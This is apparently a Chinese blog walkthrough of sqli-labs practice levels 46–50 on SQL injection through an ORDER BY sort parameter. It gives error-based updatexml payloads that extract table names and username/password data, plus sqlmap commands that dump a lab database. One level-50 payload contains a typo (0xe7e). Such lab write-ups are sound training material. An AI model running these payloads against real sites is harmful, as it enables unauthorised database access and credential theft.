sqli-labs靶场通关攻略(46-50关)

第46关 (ORDER BY数字型注入)

输入?sort=1

修改参数为2试一下

看到按照字母顺序进行了排序,所以它便是一个使用了order by语句进行排序的查询的一种查询输出方式

1'出现报错,那么我们使用报错注入

 查库

?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

查表

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),3)

查列

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3)

查数据

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),3)

第47关(ORDER BY单引号报错注入)

查库

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),3) --+

查表

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),3) --+

查列

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3) --+

查数据

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),3) --+

第48关

这关我们使用工具sqlmap

查库 

sqlmap -u http://172.16.1.124/Less-48/?sort=1 --current-db

查表

sqlmap -u http://172.16.1.124/Less-48/?sort=1 -D security --tables
 

查数据

sqlmap -u http://172.16.1.124/Less-48/?sort=1 -D security -T users --dump
 

第49关(单引号闭合)

我们输入单引号页面报错,--+闭合之后页面回显正常

查库

sqlmap -u http://172.16.1.124/Less-49/?sort=1 --current-db
 

查表

 sqlmap -u http://172.16.1.124/Less-49/?sort=1 -D security --tables
 

查数据

sqlmap -u http://172.16.1.124/Less-49/?sort=1 -D security -T users --dump

第50关(报错注入)

查库

?sort=-1 and updatexml(1,concat(0xe7e,database(),0x7e),3)

 查表

?sort=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),3)

查列

?sort=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x7e),3)

  • 8
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值